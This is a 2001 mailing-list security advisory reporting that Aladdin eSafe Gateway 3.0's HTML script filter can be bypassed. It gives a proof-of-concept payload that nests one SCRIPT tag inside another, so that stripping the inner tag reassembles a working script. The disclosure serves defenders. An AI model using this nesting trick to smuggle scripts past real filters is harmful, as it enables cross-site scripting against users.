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Aladdin eSafe Gateway script filter bypass
From: "eDvice Security Services" <support () edvicetech com>
Date: Sun, 20 May 2001 19:06:11 +0200
Product: eSafe Gateway
Vendor: Aladdin Knowledge Systems (www.ealaddin.com)
Vesrsion: 3.0 was tested and found vulnerable, earlier versions might be
vulnerable as well.
Status: Vendor was informed.
Background
--------------------
eSafe Gateway 3.0 is an Internet Content Security product.
You can configure eSafe Gateway to remove scripts (VBScripts, JavaScripts)
and other executable tags from incoming HTML documents. Alternatively, the
administrator can ban certain scripting commands from appearing inside
scripts. The banned commands will be removed, while the rest of the HTML
page is left intact.
The problem
----------------------
Using specially crafted HTML files, an attacker can easily bypass eSafe's
script filtering mechanism.
Details
----------------------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>
If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:
<HTML><HEAD></HEAD>
<BODY>
</BODY></HTML>
However, if we create the following code:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Solution
------------------
Do not rely on eSafe Gateway for HTML filtering until Aladdin fixes the
problem.
====================
Discovered by:
eDvice Security Services
support () edvicetech com
http://www.edvicetech.com
Tel: +972-3-6120133
Fax: +972-3-6954837
Current thread:
- Aladdin eSafe Gateway script filter bypass eDvice Security Services (May 21)